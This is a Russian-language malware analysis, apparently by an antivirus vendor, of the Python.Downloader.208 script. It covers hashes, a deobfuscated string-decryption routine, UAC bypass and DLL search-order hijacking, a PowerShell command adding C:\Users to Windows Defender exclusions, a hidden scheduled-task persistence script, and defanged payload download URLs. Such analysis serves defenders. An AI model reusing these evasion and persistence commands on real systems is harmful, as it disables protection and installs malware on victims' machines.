sha1:
- d56f4ee28e2545b087972b86507843c6a7836b6d (python3.zip)
- 71f9af933330a08e05fa99e21f1d3684299f159f (maintaindown.py)
Описание
Вредоносный Python-скрипт, который скачивает и запускает на компьютерах с ОС Windows троянскую программу-загрузчик Trojan.DownLoader48.54318. В зависимости от модификации Python.Downloader.208 имя его файла может быть различным. Кроме того, функциональность скрипта также может варьироваться.
Принцип действия
Python.Downloader.208 попадает в целевую систему в архиве python3.zip, который скачивается трояном Trojan.DownLoader48.54600. Вместе с Python.Downloader.208 в архиве расположены легитимные файлы, используемые скриптом при работе, а также вредоносный компонент, который Python.Downloader.208 должен запустить. Среди них:
- python37.dll — библиотека интерпретатора языка Python;
- svpy.exe — переименованный консольный интерпретатор языка Python pythonw.exe;
- SCSIEXE.dll — Trojan.Starter.8377.
Python.Downloader.208 обфусцирован, а все его основные строки зашифрованы нестандартным шифрованием. Функция дешифровки строк находится в начале скрипта.
Деобфусцированный Python-код для распаковки ключевых строк:
def decrypt_string(arg: str) ->str:
try:
if not isinstance(arg, str) or not arg.startswith('x'):
return arg
first_part = int(arg[1:2])
second_part = int(arg[2:3])
rest_part = arg[3:]
arr = [lambda data: base64.b85decode(data.encode('utf-8')).
decode('utf-8'), lambda data: base64.b64decode(data.encode(
'utf-8')).decode('utf-8'), lambda data: base64.b64decode(data.
encode('utf-8'))[16:].decode('utf-8')]
minimum = min(first_part - 1, len(arr) - 1)
for _ in range(second_part):
rest_part = arr[minimum](rest_part)
return rest_part
except Exception as e:
return arg
При запуске Python.Downloader.208 определяет наличие библиотеки python37.dll в директории, где он расположен. Если она отсутствует, скрипт приостанавливает выполнение и прекращает свою работу.
Если библиотека присутствует, Python.Downloader.208 через Python-выражение ctypes.windll.shell32.IsUserAnAdmin() определяет права своего запуска, от которых зависит его дальнейшее поведение.
Действия, выполняемые при запуске без прав администратора
1. Определяет путь до файла svpy.exe, а также до текущего файла Python.Downloader.208.
2. Создает в папке %TEMP% файл runs.vbs и записывает в него код с командой для запуска Python.Downloader.208 через svpy.exe вида:
Set ws = CreateObject("WScript.Shell") ws.Run "svpy.exe" "maintaindown.py", 0
3. Определяет путь до троянского файла ISCSIEXE.dll, получает имя текущего пользователя через функцию getpass.getuser() и формирует путь до директории %LOCALAPPDATA%\Microsoft\WindowsApps.
4. Перемещает файл ISCSIEXE.dll в директорию WindowsApps.
5. Запускает легитимное системное приложение %SystemRoot%\SysWOW64\iscsicpl.exe. При его запуске через эксплуатацию уязвимости DLL Search Order Hijacking выполняется запуск вредоносной библиотеки ISCSIEXE.dll.
6. Trojan.Starter.8377 через системное приложение wscript.exe запускает VBS-скрипт runs.vbs, который запускает Python.Downloader.208 уже с правами администратора.
Действия, выполняемые при запуске с правами администратора
1. Определяет наличие антивирусных средств путем перебора каталогов в C:\Program Files. Python-скрипт ищет следующие совпадения имен:
"Avast", "AVG", "Bitdefender", "Kaspersky", "McAfee", "Norton", "Sophos", "ESET", "Malwarebytes", "Avira", "Panda", "Trend Micro", "F-Secure", "Comodo",
"BullGuard", "360 Total Security", "Ad-Aware", "Dr.Web", "G-Data", "Vipre", "ClamWin", "ZoneAlarm", "Cylance", "Webroot", "Palo Alto Networks", "Symantec",
"SentinelOne", "CrowdStrike", "Emsisoft", "HitmanPro", "Fortinet", "FireEye", "Zemana", "Windows Defender"
Поиск каталогов антивирусов
Если в системе присутствует антивирус Windows Defender, Python.Downloader.208 через PowerShell добавляет каталог C:\Users в его исключения:
powershell.exe -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\\Users\""
Проверка наличия антивируса Windows Defender и добавление каталога C:\\Users в его исключения
2. Пытается скачать защищенный паролем архив onedrive.zip по ссылке hxxps[:]//down[.]temp-xy[.]com/update/onedrive[.]zip. Пароль от этого архива указан непосредственно в самом Python.Downloader.208.
Загрузка целевого архива onedrive.zip
Архив содержит следующие файлы:
- OneDrivePatcher.exe — легитимное приложение из ОС Windows с действительной цифровой подписью;
- UpdateRingSettings.dll — Trojan.DownLoader48.54318 (имя файла повторяет имя легитимной библиотеки из состава ПО OneDrive);
- CertificateIn.dat — сертификат Microsoft Corporation.
3. Через PowerShell Python.Downloader.208 создает задачу в планировщике заданий на запуск OneDrivePatcher.exe. Пример PowerShell-скрипта для создания задания:
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden
-Command "
try {
$action = New-ScheduledTaskAction -Execute
'%LOCALAPPDATA%\Microsoft\OneDrive\setup\OneDrivePatcher.exe' -WorkingDirectory '%LOCALAPPDATA%\Microsoft\OneDrive\setup'
$trigger = New-ScheduledTaskTrigger -AtStartup $trigger.Delay = 'PT3M' # 3 minutes delay after startup
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
$principal = New-ScheduledTaskPrincipal -UserId 'user' -LogonType Interactive -RunLevel Highest Register-ScheduledTask -TaskName 'SvcPowerGreader' -TaskPath '\Microsoft\Windows\SoftwareProtectionPlatform' -Action
$action -Trigger $trigger -Settings $settings -Principal $principal -Force Write-Output 'Task created successfully.'
} catch {
Write-Error $_.Exception.Message
}"
4. Python.Downloader.208 запускает OneDrivePatcher.exe. При его запуске происходит эксплуатация уязвимости DLL Search Order Hijacking и запуск вредоносной библиотеки UpdateRingSettings.dll в его контексте.
5. По завершении создает del_temp.bat, с помощью которого удаляет все связанные с собой файлы.
Удаление связанных файлов
Версии Python.Downloader.208
Известны несколько вариантов архивов, в составе которых распространяются различные версии вредоносного скрипта. Отличия приведены ниже.
1. В Python.Downloader.208 из архива 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333 отсутствует функциональность для запуска скрипта без прав администратора.
2. В Python.Downloader.208 из архива 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333 в случае неудачной загрузки архива по адресу hxxps[:]//down[.]temp-xy[.]com/update/onedrive[.]zip предусмотрена возможность альтернативной загрузки по дополнительному адресу через Python-модули requests и urllib.request — например, hxxps[:]//pastebin[.]com/raw/r1V9at1z.
Альтернативный адрес для загрузки целевого архива
На момент анализа по указанному адресу предоставлялась дополнительная ссылка для загрузки архива hxxps[:]//qu[.]ax/dcvwP[.]zip.
3. Отличаются устанавливаемые пути до OneDrive:
- для Python.Downloader.208 из архива d56f4ee28e2545b087972b86507843c6a7836b6d — \\AppData\\Local\\Microsoft\\OneDrive\\setup;
- для Python.Downloader.208 из архива 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333 — \\AppData\\Local\\Microsoft\\OneDrive\\ListSync\\Common\\settings.
4. Отличаются способы запуска содержимого из загруженных архивов:
- в Python.Downloader.208 из архива d56f4ee28e2545b087972b86507843c6a7836b6d — файл OneDrivePatcher.exe запускается через os.startfile непосредственно после загрузки;
- в Python.Downloader.208 из архива 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333 — файл OneDrivePatcher.exe запускается исключительно через планировщик заданий.
5. Отличаются задержки выполнения задач: PT3M (3 минуты с момента запуска) для скрипта из архива d56f4ee28e2545b087972b86507843c6a7836b6d и PT8M (8 минут с момента запуска) для скрипта из архива 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333.
6. В Python.Downloader.208 из архива 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333 отсутствует самоудаление через файл del_temp.bat.
7. В Python.Downloader.208 из архива 5011e937851f3c4ecbd540d89a5dffd52922dfff указаны ссылки для загрузки файлов hxxps[:]//down[.]temp-xy[.]com/update/onedrive[.]zip и hxxps[:]//down[.]temp-xy[.]com/update/onedrivetwo[.]zip.
По ссылке hxxps[:]//down[.]temp-xy[.]com/update/onedrivetwo[.]zip располагается схожий архив eb76a4c01f744cd357f6456526d379dc4653a20a. Находящийся в нем Python.Downloader.208 имеет функциональность, идентичную скрипту из 7332fdb6e9b34e1d3dfb94a53272d1b3b6415333, и в нем также предусмотрен альтернативный вариант загрузки целевого файла по аналогичной ссылке hxxps[:]//pastebin[.]com/raw/r1V9at1z.
Новость об этом вредоносном скрипте
Подробнее о Trojan.DownLoader48.54318
Подробнее о Trojan.Starter.8377